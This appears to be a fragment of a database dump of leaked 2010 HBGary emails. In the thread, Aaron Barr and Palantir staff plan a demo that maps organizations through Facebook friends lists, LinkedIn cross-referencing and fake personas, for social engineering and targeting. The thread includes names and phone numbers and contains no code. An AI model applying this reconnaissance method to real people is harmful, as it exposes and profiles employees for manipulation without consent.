circle\r\n>>>> than just another source of information.  This has huge security\r\n>>>> consequences.  My hypothesis is there is an immense amount of\r\n> information\r\n>>> we\r\n>>>> can glean from this information.  I have actually already proven this on\r\n>> a\r\n>>>> small scale doing research manually.  I have been able to determine\r\n>> people\r\n>>>> who are employees of specific companies even though their profile was\r\n>>>> completely blocked, except their friends lists.  I correlated friends\r\n>>> lists\r\n>>>> across multiple people who I knew were employees of a particular company\r\n>>> to\r\n>>>> determine this.  I also was able to cross this information with Linkedin\r\n>>>> information and determine people that were in subcontracting\r\n>> relationships\r\n>>>> to other companies.  I think all of the facebook information in a\r\n>> Palantir\r\n>>>> framework could result in some of the most significant security\r\n>>> revelations\r\n>>>> related to social media yet published.  No more handwaving, but real\r\n> data\r\n>>> to\r\n>>>> show the vulnerabilities.  There is a huge social engineering /targeting\r\n>>>> potential here as well.  If I wanted to target a particular organization\r\n>>>> what groups should I belong to, who are the influencers in the group,\r\n> who\r\n>>>> has the most connections, etc.\r\n>>>>\r\n>>>> Lets get together to discuss and I can walk you through some of the\r\n> stuff\r\n>>> I\r\n>>>> am doing with persona development and social media exploitation.\r\n>>>>\r\n>>>> Aaron\r\n>>>> On Aug 27, 2010, at 2:43 PM, Aaron Zollman wrote:\r\n>>>>\r\n>>>>>\r\n>>>>> 	It\'d be even easier with the graph APIs...\r\n>>>>> http://graph.facebook.com/ ... JSON parser & an API key and we could\r\n>>> knock\r\n>>>>> it out pretty quick. (Someone else\'s facebook account, please, though!)\r\n>>>>>\r\n>>>>> 	What\'s the workflow we\'d be shooting for, other than as a\r\n>>>>> visualization front-end for an organization\'s structure?\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> 	I think we\'ve done a twitter presentation at Govcon in the past --\r\n>>>>> trying to hunt down the video -- so we wouldn\'t be demonstrating\r\n>> anything\r\n>>>>> new just by expanding it to facebook. But that wasn\'t specifically in a\r\n>>>>> pen-testing/cybersecurity context. An integration with this and some\r\n>>> other\r\n>>>>> pen-testing data -- known account identifiers, and data collected from\r\n>>>> them,\r\n>>>>> for example -- might be cool. If we could bring in some malware\r\n>>>> fingerprint\r\n>>>>> data too, and build a whole \"here\'s how we pwned your network\"\r\n>>>>> exploration...\r\n>>>>>\r\n>>>>> 	I\'ve got the OSVDB (vulnerability database integrated), if it\'d be\r\n>>>>> helpful.\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> _________________________________________________________\r\n>>>>> Aaron Zollman\r\n>>>>> Palantir Technologies | Embedded Analyst\r\n>>>>> azollman@palantir.com | 202-684-8066\r\n>>>>>\r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>> Sent: Thursday, August 26, 2010 11:43 AM\r\n>>>>> To: Matthew Steckman\r\n>>>>> Cc: Aaron Zollman; Ted Vera; Mark Trynor\r\n>>>>> Subject: Re: Another Killer Demo\r\n>>>>>\r\n>>>>> On the social side here is what I would like to do.  I think between\r\n>> Mark\r\n>>>>> and Aaron this could be put together very quickly and would be\r\n> powerful.\r\n>>>>>\r\n>>>>> start with a profile in facebook.\r\n>>>>>\r\n>>>>> http://www.facebook.com/profile.php?id=100001092994636\r\n>>>>>\r\n>>>>> View the source of that page.  There is all kinds of information we can\r\n>>>>> collect and parse to build some very robust social maps.\r\n>>>>> Those people that provide information and have their friends lists\r\n>>> exposed\r\n>>>>> provide an incredible social engineering and recon tool.\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>>\r\n>>>>>\r\n>>>>> On Aug 26, 2010, at 11:18 AM, Matthew Steckman wrote:\r\n>>>>>\r\n>>>>>> Brandon is a rockstar!!! Good call.\r\n>>>>>>\r\n>>>>>> Let us know if you want help on the demo, sounds like it could be\r\n>> really\r\n>>>>>> interesting.  We\'d probably love to make a video of is as well to put\r\n>> up\r\n>>>>> on\r\n>>>>>> our analysis blog (with HBGary branding of course!).\r\n>>>>>>\r\n>>>>>> Matthew Steckman\r\n>>>>>> Palantir Technologies | Forward Deployed Engineer\r\n>>>>>> msteckman@palantir.com | 202-257-2270\r\n>>>>>>\r\n>>>>>> Follow @palantirtech\r\n>>>>>> Watch youtube.com/palantirtech\r\n>>>>>> Attend Palantir Night Live\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>>> Sent: Wednesday, August 25, 2010 10:36 PM\r\n>>>>>> To: Matthew Steckman\r\n>>>>>> Cc: Aaron Zollman\r\n>>>>>> Subject: Another Killer Demo\r\n>>>>>>\r\n>>>>>> Matt,\r\n>>>>>>\r\n>>>>>> I have been doing talks on social media, have a lot more scheduled,\r\n>>> along\r\n>>>>>> with some training gigs.  In the process I am setting up a lot of\r\n>>>> personas\r\n>>>>>> and doing social media pen testing against organizations.\r\n>>>>>>\r\n>>>>>> What I have found is there is an immense amount of information peoples\r\n>>>>>> friends lists as well as other social media digital artifacts can tell\r\n>>>> us.\r\n>>>>>> I think Palantir would be an awesome tool to present and use for\r\n>>>> analysis.\r\n>>>>>> We are just going to have to get someone to write a helper app.  I am\r\n>>>>> hoping\r\n>>>>>> to be able to hire Brandon Colston soon.\r\n>>>>>>\r\n>>>>>> Aaron\r\n>>>>>\r\n>>>>\r\n>>>\r\n>>\r\n>\r\n',8634,'aaron_hbgary_com/8634.html'),(11463,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008651.M963464P14101Q6318.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Another Killer Demo','Sent from my iPadBegin forwarded message:From: Aaron Zollman &lt;azollman@palantir.com&gt;\r\nDate: September 7, 2010 12:09:51 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Matthew Steckman &lt;msteckman@palantir.com&gt;\r\nSubject: RE: Another Killer DemoAaron --I wanted to give you a quick update on where we stand on both the social\r\nnetwork data and the malware exploration. I&#39;ve located the source data for our old facebook demo, but it&#39;s over a yearold -- before both the cyber ontology and facebook&#39;s change to their API&#39;s\r\nso that things like &quot;favorite movies&quot; weren&#39;t part of the profile anymore.Given that, when you&#39;re ready to start integrating social network data foryour training and exploration, it&#39;s not likely to be of assistance.\r\nFor malware data, we&#39;re ready to start analyzing as soon as you can provideit. We&#39;re on a tight schedule -- the GovCon abstracts need to go to the printer\r\nby next Thursday, September 16th -- so although we don&#39;t need to have theanalysis completed by then, we need to be absolutely certain that we&#39;ll havesomething to demo by conference day. \r\nEven a small sample of the XML output (or whatever else you think is worthintegrating) will help us get started on the data integration piece. If Ishould be working directly with Ted to get the samples, please let me know.\r\nThanks,_________________________________________________________Aaron ZollmanPalantir Technologies | Embedded Analystazollman@palantir.com | 202-684-8066\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, September 02, 2010 9:59 AMTo: Aaron Zollman\r\nSubject: Re: Another Killer DemoGreat.  I have a meeting from 1230-2 close to your office so can just headthere afterwards, be there around 230.\r\nAaronOn Sep 1, 2010, at 4:07 PM, Aaron Zollman wrote:Maryland until about 1pm, then headed back south to McLean. The Palantir\r\noffice in Tysons works for me as a meeting point, too._________________________________________________________\r\nAaron ZollmanPalantir Technologies | Embedded Analystazollman@palantir.com | 202-684-8066\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Wednesday, September 01, 2010 10:58 AM\r\nTo: Aaron ZollmanSubject: Re: Another Killer DemoI am going to be in Mclean most of the day.  Where are you going to be\r\ntomorrow.Aaron\r\nOn Aug 31, 2010, at 5:04 PM, Aaron Zollman wrote:\r\nSounds good. Pick a time 2pm ET or later. Dropping by Bethesda would be\r\nonthe way Thursday, too.\r\n_________________________________________________________\r\nAaron ZollmanPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 30, 2010 10:38 PMTo: Aaron Zollman\r\nCc: Matthew Steckman; Ted Vera; Mark TrynorSubject: Re: Another Killer Demo\r\nI get it on the breakout sessions.  We would like to pursue the path to\r\nbreakout with fingerprint data.  That hasn&#39;t changed.\r\nSo here is the dynamic I am working with right now.\r\nWe have separate customers interested in our ability to do volume malware\r\nprocessing and threat intelligence (this is TMC, Fingerprint, andPalanatir).\r\nWe have other customers, mostly on offense, that are interested in Social\r\nMedia for other things.\r\nIn the end both of these capabilities come together to build real threatintelligence marrying up malware data with social media data, just baby\r\nsteps.\r\nThe social media stuff seems like low hanging fruit, so lets have a phoneconversation on that on Thursday to discuss what are the next steps and\r\nwhen.\r\nOn the threat intelligence side we have some prep work to do.  Greg toldme\r\nthat the data that he has is basically not available.  Something aboutgiving the TMC to HBGary Fed and dropping that because it was taking to\r\nmanydevelopment resources and they need to focus.  What does that mean, not a\r\nhuge deal, but we need to rerun our malware through the TMC and thenthrough\r\nfingerprint and then take that data into Palantir.  Right now we arerunning\r\nat max speed the rest of the week to get our Pentest report done and outto\r\nthe customer by Thursday.  So on Monday next week we can regroup withMarkI\r\nthink and talk about how to get the threat intel stuff going.  We have ameeting with US-CERT on the 9th and it would be good to be able to tell\r\nthema little more than what we have right now, meaning we have a plan to\r\nexecute.  The stick here is in our hands.  I will reread your last email,\r\nhead is flooded, and we can readdress this on Thursday as well.\r\nSound ok?  Good thing is potential customers definitely interested.\r\nLets do a webex on Thursday instead I can show you a few things I amworking\r\non.  I will set it up.\r\nAaron\r\nOn Aug 30, 2010, at 9:18 PM, Aaron Zollman wrote:\r\n	For the two breakout spaces, we&#39;re looking for an integration that\r\nfocuses more on technical data. While I&#39;d like to talk through this\r\nproposedworkflow some more -- and it&#39;s certainly appropriate for the demo\r\nstationyou guys will have at GovCon -- it may not be right for the breakout\r\nsessions where Steckman and I have to focus our development energy. But\r\nlet&#39;s walk down the path a little further before we decide anything:\r\n	Is the idea that we&#39;d want to ingest all of Facebook&#39;s data, or just\r\na targeted subset for a few users of interest; possibly using helpers to\r\nreach out to the API&#39;s? \r\n	Pete Warden (petesearch.blogspot.com) ran into some issues with\r\ntheir AUP, resulting in a lawsuit, when he crawled most of Facebook&#39;s\r\nsocialgraph to build some statistics. I&#39;d be worried about doing the same.\r\n(I&#39;dask him for his Facebook data -- he&#39;s a fan of Palantir -- but he&#39;s\r\nalreadydeleted it.)\r\n\r\n	Aaron B, I&#39;m available most of tomorrow and Thursday afternoon if\r\nyou want to build out the workflow a little. The new cyber ontology hasan\r\n&quot;online account&quot; type set up by default; we can start by preparing a\r\nFacebook Account subtype and build outward from there. \r\n	Phone call good enough, or should we set up shop somewhere with data\r\nand laptops? \r\n\r\n_________________________________________________________\r\nAaron ZollmanPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, August 30, 2010 8:54 AM\r\nTo: Aaron Zollman\r\nCc: Matthew Steckman; Ted Vera; Mark TrynorSubject: Re: Another Killer Demo\r\n\r\nI think you would be demonstrating something completely new from asecurity\r\nstandpoint.  Twitter requires no authentication.  Follow anyone youwant.\r\nFacebook requires an acknowledgement to be included.  Peoples Facebook\r\nfriends lists are much closer to representing someones actual socialcircle\r\nthan just another source of information.  This has huge security\r\nconsequences.  My hypothesis is there is an immense amount ofinformation\r\nwecan glean from this information.  I have actually already proven this on\r\nasmall scale doing research manually.  I have been able to determine\r\npeoplewho are employees of specific companies even though their profile was\r\ncompletely blocked, except their friends lists.  I correlated friends\r\nlistsacross multiple people who I knew were employees of a particular company\r\ntodetermine this.  I also was able to cross this information with Linkedin\r\ninformation and determine people that were in subcontracting\r\nrelationshipsto other companies.  I think all of the facebook information in a\r\nPalantirframework could result in some of the most significant security\r\nrevelationsrelated to social media yet published.  No more handwaving, but real\r\ndatato\r\nshow the vulnerabilities.  There is a huge social engineering /targetingpotential here as well.  If I wanted to target a particular organization\r\nwhat groups should I belong to, who are the influencers in the group,\r\nwhohas the most connections, etc.\r\nLets get together to discuss and I can walk you through some of the\r\nstuffI\r\nam doing with persona development and social media exploitation.\r\nAaron\r\nOn Aug 27, 2010, at 2:43 PM, Aaron Zollman wrote:\r\n\r\n	It&#39;d be even easier with the graph APIs...\r\nhttp://graph.facebook.com/ ... JSON parser &amp; an API key and we could\r\nknockit out pretty quick. (Someone else&#39;s facebook account, please, though!)\r\n\r\n	What&#39;s the workflow we&#39;d be shooting for, other than as a\r\nvisualization front-end for an organization&#39;s structure? \r\n\r\n\r\n	I think we&#39;ve done a twitter presentation at Govcon in the past --\r\ntrying to hunt down the video -- so we wouldn&#39;t be demonstrating\r\nanythingnew just by expanding it to facebook. But that wasn&#39;t specifically in a\r\npen-testing/cybersecurity context. An integration with this and some\r\nother\r\npen-testing data -- known account identifiers, and data collected fromthem,\r\nfor example -- might be cool. If we could bring in some malware\r\nfingerprint \r\ndata too, and build a whole &quot;here&#39;s how we pwned your network&quot;\r\nexploration...\r\n	I&#39;ve got the OSVDB (vulnerability database integrated), if it&#39;d be\r\nhelpful.\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, August 26, 2010 11:43 AM\r\nTo: Matthew Steckman\r\nCc: Aaron Zollman; Ted Vera; Mark Trynor\r\nSubject: Re: Another Killer Demo\r\nOn the social side here is what I would like to do.  I think between\r\nMarkand Aaron this could be put together very quickly and would be\r\npowerful.\r\nstart with a profile in facebook.\r\n\r\nhttp://www.facebook.com/profile.php?id=100001092994636\r\nView the source of that page.  There is all kinds of information we can\r\ncollect and parse to build some very robust social maps.\r\nThose people that provide information and have their friends lists\r\nexposed\r\nprovide an incredible social engineering and recon tool.\r\nAaron\r\n\r\n\r\nOn Aug 26, 2010, at 11:18 AM, Matthew Steckman wrote:\r\nBrandon is a rockstar!!! Good call.\r\n\r\nLet us know if you want help on the demo, sounds like it could be\r\nreally\r\ninteresting.  We&#39;d probably love to make a video of is as well to putup\r\non\r\nour analysis blog (with HBGary branding of course!).\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\nFollow @palantirtech\r\nWatch youtube.com/palantirtech\r\nAttend Palantir Night Live\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 25, 2010 10:36 PM\r\nTo: Matthew Steckman\r\nCc: Aaron Zollman\r\nSubject: Another Killer Demo\r\n\r\nMatt,\r\n\r\nI have been doing talks on social media, have a lot more scheduled,\r\nalong\r\nwith some training gigs.  In the process I am setting up a lot ofpersonas\r\nand doing social media pen testing against organizations.\r\n\r\nWhat I have found is there is an immense amount of information peoples\r\nfriends lists as well as other social media digital artifacts can tell\r\nus.\r\nI think Palantir would be an awesome tool to present and use for\r\nanalysis.\r\nWe are just going to have to get someone to write a helper app.  I am\r\nhopingto be able to hire Brandon Colston soon.\r\n\r\nAaron\r\n\r\n\r\n\r\n',7296,'aaron_hbgary_com/7296.html'),(11464,'2010-09-08','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297008652.M157881P14101Q6319.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Another Killer Demo','Until about 4:30. \r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 08, 2010 1:34 PM\r\nTo: Aaron Zollman\r\nSubject: Re: Another Killer Demo\r\n\r\nCan u do a call today?\r\n\r\nSent from my iPad\r\n\r\nOn Sep 7, 2010, at 12:11 PM, Aaron Zollman  wrote:\r\n\r\n>\r\n> Aaron --\r\n>\r\n> I wanted to give you a quick update on where we stand on both the social\r\n> network data and the malware exploration.\r\n>\r\n> I\'ve located the source data for our old facebook demo, but it\'s over a year\r\n> old -- before both the cyber ontology and facebook\'s change to their API\'s\r\n> so that things like \"favorite movies\" weren\'t part of the profile anymore.\r\n> Given that, when you\'re ready to start integrating social network data for\r\n> your training and exploration, it\'s not likely to be of assistance.\r\n>\r\n>\r\n> For malware data, we\'re ready to start analyzing as soon as you can provide\r\n> it.\r\n>\r\n> We\'re on a tight schedule -- the GovCon abstracts need to go to the printer\r\n> by next Thursday, September 16th -- so although we don\'t need to have the\r\n> analysis completed by then, we need to be absolutely certain that we\'ll have\r\n> something to demo by conference day.\r\n>\r\n> Even a small sample of the XML output (or whatever else you think is worth\r\n> integrating) will help us get started on the data integration piece. If I\r\n> should be working directly with Ted to get the samples, please let me know.\r\n>\r\n> Thanks,\r\n>\r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst\r\n> azollman@palantir.com | 202-684-8066\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, September 02, 2010 9:59 AM\r\n> To: Aaron Zollman\r\n> Subject: Re: Another Killer Demo\r\n>\r\n> Great.  I have a meeting from 1230-2 close to your office so can just head\r\n> there afterwards, be there around 230.\r\n>\r\n> Aaron\r\n>\r\n> On Sep 1, 2010, at 4:07 PM, Aaron Zollman wrote:\r\n>\r\n>> Maryland until about 1pm, then headed back south to McLean. The Palantir\r\n>> office in Tysons works for me as a meeting point, too.\r\n>>\r\n>> _________________________________________________________\r\n>> Aaron Zollman\r\n>> Palantir Technologies | Embedded Analyst\r\n>> azollman@palantir.com | 202-684-8066\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, September 01, 2010 10:58 AM\r\n>> To: Aaron Zollman\r\n>> Subject: Re: Another Killer Demo\r\n>>\r\n>> I am going to be in Mclean most of the day.  Where are you going to be\r\n>> tomorrow.\r\n>>\r\n>> Aaron\r\n>>\r\n>>\r\n>> On Aug 31, 2010, at 5:04 PM, Aaron Zollman wrote:\r\n>>\r\n>>>\r\n>>> Sounds good. Pick a time 2pm ET or later. Dropping by Bethesda would be\r\n> on\r\n>>> the way Thursday, too.\r\n>>>\r\n>>>\r\n>>> _________________________________________________________\r\n>>> Aaron Zollman\r\n>>> Palantir Technologies | Embedded Analyst\r\n>>> azollman@palantir.com | 202-684-8066\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Monday, August 30, 2010 10:38 PM\r\n>>> To: Aaron Zollman\r\n>>> Cc: Matthew Steckman; Ted Vera; Mark Trynor\r\n>>> Subject: Re: Another Killer Demo\r\n>>>\r\n>>> I get it on the breakout sessions.  We would like to pursue the path to\r\n>>> breakout with fingerprint data.  That hasn\'t changed.\r\n>>>\r\n>>> So here is the dynamic I am working with right now.\r\n>>>\r\n>>> We have separate customers interested in our ability to do volume malware\r\n>>> processing and threat intelligence (this is TMC, Fingerprint, and\r\n>>> Palanatir).\r\n>>>\r\n>>> We have other customers, mostly on offense, that are interested in Social\r\n>>> Media for other things.\r\n>>>\r\n>>> In the end both of these capabilities come together to build real threat\r\n>>> intelligence marrying up malware data with social media data, just baby\r\n>>> steps.\r\n>>>\r\n>>> The social media stuff seems like low hanging fruit, so lets have a phone\r\n>>> conversation on that on Thursday to discuss what are the next steps and\r\n>>> when.\r\n>>>\r\n>>> On the threat intelligence side we have some prep work to do.  Greg told\r\n>> me\r\n>>> that the data that he has is basically not available.  Something about\r\n>>> giving the TMC to HBGary Fed and dropping that because it was taking to\r\n>> many\r\n>>> development resources and they need to focus.  What does that mean, not a\r\n>>> huge deal, but we need to rerun our malware through the TMC and then\r\n>> through\r\n>>> fingerprint and then take that data into Palantir.  Right now we are\r\n>> running\r\n>>> at max speed the rest of the week to get our Pentest report done and out\r\n>> to\r\n>>> the customer by Thursday.  So on Monday next week we can regroup with\r\n> Mark\r\n>> I\r\n>>> think and talk about how to get the threat intel stuff going.  We have a\r\n>>> meeting with US-CERT on the 9th and it would be good to be able to tell\r\n>> them\r\n>>> a little more than what we have right now, meaning we have a plan to\r\n>>> execute.  The stick here is in our hands.  I will reread your last email,\r\n>>> head is flooded, and we can readdress this on Thursday as well.\r\n>>>\r\n>>> Sound ok?  Good thing is potential customers definitely interested.\r\n>>>\r\n>>> Lets do a webex on Thursday instead I can show you a few things I am\r\n>> working\r\n>>> on.  I will set it up.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>>\r\n>>> On Aug 30, 2010, at 9:18 PM, Aaron Zollman wrote:\r\n>>>\r\n>>>>\r\n>>>> 	For the two breakout spaces, we\'re looking for an integration that\r\n>>>> focuses more on technical data. While I\'d like to talk through this\r\n>>> proposed\r\n>>>> workflow some more -- and it\'s certainly appropriate for the demo\r\n> station\r\n>>>> you guys will have at GovCon -- it may not be right for the breakout\r\n>>>> sessions where Steckman and I have to focus our development energy. But\r\n>>>> let\'s walk down the path a little further before we decide anything:\r\n>>>>\r\n>>>> 	Is the idea that we\'d want to ingest all of Facebook\'s data, or just\r\n>>>> a targeted subset for a few users of interest; possibly using helpers to\r\n>>>> reach out to the API\'s?\r\n>>>>\r\n>>>> 	Pete Warden (petesearch.blogspot.com) ran into some issues with\r\n>>>> their AUP, resulting in a lawsuit, when he crawled most of Facebook\'s\r\n>>> social\r\n>>>> graph to build some statistics. I\'d be worried about doing the same.\r\n> (I\'d\r\n>>>> ask him for his Facebook data -- he\'s a fan of Palantir -- but he\'s\r\n>>> already\r\n>>>> deleted it.)\r\n>>>>\r\n>>>> 	Aaron B, I\'m available most of tomorrow and Thursday afternoon if\r\n>>>> you want to build out the workflow a little. The new cyber ontology has\r\n>> an\r\n>>>> \"online account\" type set up by default; we can start by preparing a\r\n>>>> Facebook Account subtype and build outward from there.\r\n>>>>\r\n>>>> 	Phone call good enough, or should we set up shop somewhere with data\r\n>>>> and laptops?\r\n>>>>\r\n>>>>\r\n>>>> _________________________________________________________\r\n>>>> Aaron Zollman\r\n>>>> Palantir Technologies | Embedded Analyst\r\n>>>> azollman@palantir.com | 202-684-8066\r\n>>>>\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Monday, August 30, 2010 8:54 AM\r\n>>>> To: Aaron Zollman\r\n>>>> Cc: Matthew Steckman; Ted Vera; Mark Trynor\r\n>>>> Subject: Re: Another Killer Demo\r\n>>>>\r\n>>>> I think you would be demonstrating something completely new from a\r\n>>> security\r\n>>>> standpoint.  Twitter requires no authentication.  Follow anyone you\r\n> want.\r\n>>>> Facebook requires an acknowledgement to be included.  Peoples Facebook\r\n>>>> friends lists are much closer to representing someones actual social\r\n>>> circle\r\n>>>> than just another source of information.  This has huge security\r\n>>>> consequences.  My hypothesis is there is an immense amount of\r\n> information\r\n>>> we\r\n>>>> can glean from this information.  I have actually already proven this on\r\n>> a\r\n>>>> small scale doing research manually.  I have been able to determine\r\n>> people\r\n>>>> who are employees of specific companies even though their profile was\r\n>>>> completely blocked, except their friends lists.  I correlated friends\r\n>>> lists\r\n>>>> across multiple people who I knew were employees of a particular company\r\n>>> to\r\n>>>> determine this.  I also was able to cross this information with Linkedin\r\n>>>> information and determine people that were in subcontracting\r\n>> relationships\r\n>>>> to other companies.  I think all of the facebook information in a\r\n>> Palantir\r\n>>>> framework could result in some of the most significant security\r\n>>> revelations\r\n>>>> related to social media yet published.  No more handwaving, but real\r\n> data\r\n>>> to\r\n>>>> show the vulnerabilities.  There is a huge social engineering /targeting\r\n>>>> potential here as well.  If I wanted to target a particular organization\r\n>>>> what groups should I belong to, who are the influencers in the group,\r\n> who\r\n>>>> has the most connections, etc.\r\n>>>>\r\n>>>> Lets get together to discuss and I can walk you through some of the\r\n> stuff\r\n>>> I\r\n>>>> am doing with persona development and social media exploitation.\r\n>>>>\r\n>>>> Aaron\r\n>>>> On Aug 27, 2010, at 2:43 PM, Aaron Zollman wrote:\r\n>>>>\r\n>>>>>\r\n>>>>> 	It\'d be even easier with the graph APIs...\r\n>>>>> http://graph.facebook.com/ ... JSON parser & an API key and we could\r\n>>> knock\r\n>>>>> it out pretty quick. (Someone else\'s facebook account, please, though!)\r\n>>>>>\r\n>>>>> 	What\'s the workflow we\'d be shooting for, other than as a\r\n>>>>> visualization front-end for an organization\'s structure?\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> 	I think we\'ve done a twitter presentation at Govcon in the past --\r\n>>>>> trying to hunt down the video -- so we wouldn\'t be demonstrating\r\n>> anything\r\n>>>>> new just by expanding it to facebook. But that wasn\'t specifically in a\r\n>>>>> pen-testing/cybersecurity context. An integration with this and some\r\n>>> other\r\n>>>>> pen-testing data -- known account identifiers, and data collected from\r\n>>>> them,\r\n>>>>> for example -- might be cool. If we could bring in some malware\r\n>>>> fingerprint\r\n>>>>> data too, and build a whole \"here\'s how we pwned your network\"\r\n>>>>> exploration...\r\n>>>>>\r\n>>>>> 	I\'ve got the OSVDB (vulnerability database integrated), if it\'d be\r\n>>>>> helpful.\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> _________________________________________________________\r\n>>>>> Aaron Zollman\r\n>>>>> Palantir Technologies | Embedded Analyst\r\n>>>>> azollman@palantir.com | 202-684-8066\r\n>>>>>\r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>> Sent: Thursday, August 26, 2010 11:43 AM\r\n>>>>> To: Matthew Steckman\r\n>>>>> Cc: Aaron Zollman; Ted Vera; Mark Trynor\r\n>>>>> Subject: Re: Another Killer Demo\r\n>>>>>\r\n>>>>> On the social side here is what I would like to do.  I think between\r\n>> Mark\r\n>>>>> and Aaron this could be put together very quickly and would be\r\n> powerful.\r\n>>>>>\r\n>>>>> start with a profile in facebook.\r\n>>>>>\r\n>>>>> http://www.facebook.com/profile.php?id=100001092994636\r\n>>>>>\r\n>>>>> View the source of that page.  There is all kinds of information we can\r\n>>>>> collect and parse to build some very robust social maps.\r\n>>>>> Those people that provide information and have their friends lists\r\n>>> exposed\r\n>>>>> provide an incredible social engineering and recon tool.\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>>\r\n>>>>>\r\n>>>>> On Aug 26, 2010, at 11:18 AM, Matthew Steckman wrote:\r\n>>>>>\r\n>>>>>> Brandon is a rockstar!!! Good call.\r\n>>>>>>\r\n>>>>>> Let us know if you want help on the demo, sounds like it could be\r\n>> really\r\n>>>>>> interesting.  We\'d probably love to make a video of is as well to put\r\n>> up\r\n>>>>> on\r\n>>>>>> our analysis blog (with HBGary branding of course!).\r\n>>>>>>\r\n>>>>>> Matthew Steckman\r\n>>>>>> Palantir Technologies | Forward Deployed Engineer\r\n>>>>>> msteckman@palantir.com | 202-257-2270\r\n>>>>>>\r\n>>>>>> Follow @palantirtech\r\n>>>>>> Watch youtube.com/palantirtech\r\n>>>>>> Attend Palantir Night Live\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>>> Sent: Wednesday, August 25, 2010 10:36 PM\r\n>>>>>> To: Matthew Steckman\r\n>>>>>> Cc: Aaron Zollman\r\n>>>>>> Subject: Another Killer Demo\r\n>>>>>>\r\n>>>>>> Matt,\r\n>>>>>>\r\n>>>>>> I have been doing talks on social media, have a lot more scheduled,\r\n>>> along\r\n>>>>>> with some training gigs.  In the process I am setting up a lot of\r\n>>>> personas\r\n>>>>>> and doing social media pen testing against organizations.\r\n>>>>>>\r\n>>>>>> What I have found is there is an immense amount of information peoples\r\n>>>>>> friends lists as well as other social media digital artifacts can tell\r\n>>>> us.\r\n>>>>>> I think Palantir would be an awesome tool to present and use for\r\n>>>> analysis.\r\n>>>>>> We are just going to have to get someone to write a helper app.  I am\r\n>>>>> hoping\r\n>>>>>> to be able to hire Brandon Colston soon.\r\n>>>>>>\r\n>>>>>> Aaron\r\n>>>>>\r\n>>>>\r\n>>>\r\n>>\r\n>\r\n',3391,'aaron_hbgary_com/3391.html'),(11465,'2010-09-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008652.M355762P14101Q6320.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: Incident Response','---------- Forwarded message ----------\r\nFrom: Phil Wallisch \r\nDate: Wed, Sep 8, 2010 at 11:27 AM\r\nSubject: Re: Incident Response\r\nTo: Bob Slapnik \r\nCc: Ted Vera \r\n\r\n\r\nYes and I need to talk about this scope.  Especially us doing\r\n\"forensics\" and determining root cause.\r\n\r\nOn Wed, Sep 8, 2010 at 1:24 PM, Bob Slapnik  wrote:\r\n>\r\n> Ted,\r\n>\r\n> Phil scoped the work.  We sent them a proposal. It is only for 106 hours\r\n> total.  We are hoping to ink it soon, maybe today.  It will be up to Phil if\r\n> and how much he uses HBG Fed.\r\n>\r\n> Bob\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Wednesday, September 08, 2010 12:26 PM\r\n> To: Bob Slapnik\r\n> Subject: Incident Response\r\n>\r\n> Hi Bob,\r\n>\r\n> Any updates on the incident response engagement you mentioned yesterday?\r\n>\r\n> Ted\r\n>\r\n\r\n\r\n\r\n--\r\nPhil Wallisch | Principal Consultant | HBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n\r\nCell Phone: 703-655-1208 | Office Phone: 